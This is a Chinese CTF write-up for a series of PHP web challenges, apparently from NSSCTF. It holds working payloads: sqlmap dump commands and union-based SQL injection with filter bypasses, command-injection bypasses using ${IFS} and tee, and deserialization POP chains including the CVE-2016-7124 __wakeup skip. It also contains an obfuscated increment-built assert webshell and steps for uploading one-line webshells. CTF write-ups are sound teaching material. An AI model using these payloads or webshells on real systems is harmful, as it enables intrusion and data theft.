目录
gift_F12
jicao
easy_md5
caidao
include
easyrce
easy_sql
babyrce
Do_you_know_http
ez_unserialize
easyupload1.0
easyupload2.0
easyupload3.0
no_wakeup
hardrce
error
PseudoProtocols
pop
基础知识:
__toString
__construct、__destruct
sql
finalrce
hardrce_3
知识:
打开题目
已经提示F12,打开即可发现flag
审查源代码
post传id=wllmNB
get传入的json进行json解码
get: json={"x":"wllm"} post:id=wllmNB
审查源代码
发现是简单的 md5 数组绕过。
get: ?name[]=1 post: password[]=2即可
打开页面,发现一句话木马
用菜刀连接即可找到flag
说传入一个file试试
得到一个php页面代码,审查可知为文件包含问题
flag在flag.php中,用 php://filter/ 伪协议即可
base64一下就行
审查源代码,get方式传入url
之后system命令执行找到flag所在的文件,cat即可
试试sql注入,发现注入成功(?wllm=1' --+)
拿出sqlmap跑一跑即可
sqlmap.py http://1.14.71.254:28653/?wllm=1 -D test_db -T test_tb --columns -C flag --dump --batch
审查源代码,cookie方式传入admin=1即可
打开hackbar,修改cookie可得到rasalghul.php,继续打开他
审查源代码,get方式传入url,过滤了空格
可用${IFS} 代替空格即可
很明显要用BP来更改http的请求
先UA改为WLLM,在Response里可以看见location:./a.php,访问试试
发现只能本地读取,因此我们更改XFF为127.0.0.1
在Response里可以看见Location: ./secretttt.php,访问试试。得到flag
开局什么都没有,常规思路看一看robots协议
发现disallow:/cl45s.php
查看源代码是道反序列化的题
构造pop链
传入的p调用wllm方法。__construct()创建一个对象里面有admin和passwd的值,同时被赋值__destruct()销毁对象的时候把对应的值读出来。需要传入一个值,把值改为我所需要的值。
解码脚本如下:
admin = "admin";
$aa->passwd = "ctf";
$stus = serialize($aa);
echo($stus);
?>
get传入p赋值即可,O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
爆出相对路径
最后查看 /upload/a.php POST: a=phpinfo(); 获取flag。
上传个图片马看看
爆出相对路径,发现pthml可行
蚁剑连接即可
题目提示试试和某些条件配合
接着上传a.jpg文件,里面是一句话木马
最后蚁剑连接即可
查看代码,多了一个wakeup函数,但该函数有一个漏洞CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
构造POP链 O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
传入p
参考博客https://blog.csdn.net/miuzzx/article/details/109143413
打开题目,发现过滤了很多字符,取反绕过即可
首先要传入system(ls); 【~为取反符号】
php在线运行取反即可
发现flllllaaaaaaggggggg文件。 system(ls /);
cat即可得到flag。 system(cat /flllllaaaaaaggggggg);
拿出神器sqlmap即可,找到注入点
输入sqlmap.py -u http://1.14.71.254:28930/index.php?id=1 -D test_db -T test_tb -C flag --dump --batch,得到flag
解码得到一个test2222222222222.php的提示,继续伪协议进去看看
查看代码,a参数利用file_get_contents()函数已只读的方式打开,如果内容等于I want flag的话,输出flag
通过data://text/plain协议来进行漏洞利用。?a=data://text/plain,I want flag
__toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时,如果类没有实现此方法,则无法通过echo打印对象,否则会显示:Catchable fatal error: Object of class test could not be converted to string in,此方法必须返回一个字符串。 在PHP 5.2.0之前,__toString方法只有结合使用echo() 或 print()时 才能生效。PHP 5.2.0之后,则可以在任何字符串环境生效(例如通过printf(),使用%s修饰符),但 不能用于非字符串环境(如使用%d修饰符) 从PHP 5.2.0,如果将一个未定义__toString方法的对象 转换为字符串,会报出一个E_RECOVERABLE_ERROR错误。
__construct 构造方法,当一个对象被创建时调用此方法,好处是可以使构造方法有一个独一无二的名称,无论它所在的类的名称是什么,这样你在改变类的名称时,就不需要改变构造方法的名称 __destruct 析构方法,PHP将在对象被销毁前(即从内存中清除前)调用这个方法 默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源.,析构函数允许你在使用一个对象之后执行任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,析构函数将被调用. 在一个函数的命名空间内,这会发生在函数return的时候,对于全局变量,这发生于脚本结束的时候,如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调用unset。
发现get方式传参$w00m,直接反序列化,入口就在__destruct,或者_wakeup,这里的w22m那里符合条件
如何去调用w44m类中的Getflag方法呢?我们会发现在w33m类中存在tostring方法,可以调用某一个类中的某一个方法。因此我们可以w33m类中的两个变量w00m赋值为w44m类名,w22m赋值为Getflag方法;那么接下来就是去思考怎么去调用w33m类呢?destruct会在对象被销毁时调用,因此只要给w22m类中的w00m变量一个类w33m就可以实现调用;
分析链子应为 w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
写exp
w00m=$b;
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>
传入即可得到flag
神器发现的flag是错误的 sqlmap.py http://1.14.71.254:28137/?wllm=1 -D test_db -T test_tb -C flag --dump --batch
这些都过滤了,主要是空格。空格用/**/;=用like;然后--+ 和 #不能用%23来闭合;right,left,substr都过滤了,可以考虑用mid
暴库 /?wllm=-1'/**/union/**/select/**/1,2,database()%23 得到库test_db
爆表 /?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23 得到表LTLT_flag
爆数据/?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag%23 得到一半flag
这时候用mid /?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),20,40)/**/from/**/LTLT_flag%23
拼接起来即可得到flag NSSCTF{ad2e50de-8be3-42a6-91a1-7ed895409d85}
可以看到ls和cat和>等被过滤
这时候需要用linux的一个命令,‘tee’将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来执行这个命令。
ls也被过滤掉了。用l\s可以代替ls |是执行以下命令的意思传入 command | tee 1.txt。
?url=l\s / | tee 1.txt 之后访问我们传入的文件1.txt,发现命令被执行。看见flllllaaaaaaggggggg
?url=tac /flllll\aaaaaaggggggg | tee 6.txt
访问2.txt即可
//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo();
异或和取反都不行了,这里可以使用到自增
使用时需要url编码
发现phpinfo中的disabled_function过滤了很多函数
命令执行函数不能用了;没有过滤file_put_contents(),写马再连即可
_=file_put_contents("6.php","");
蚁剑连接即可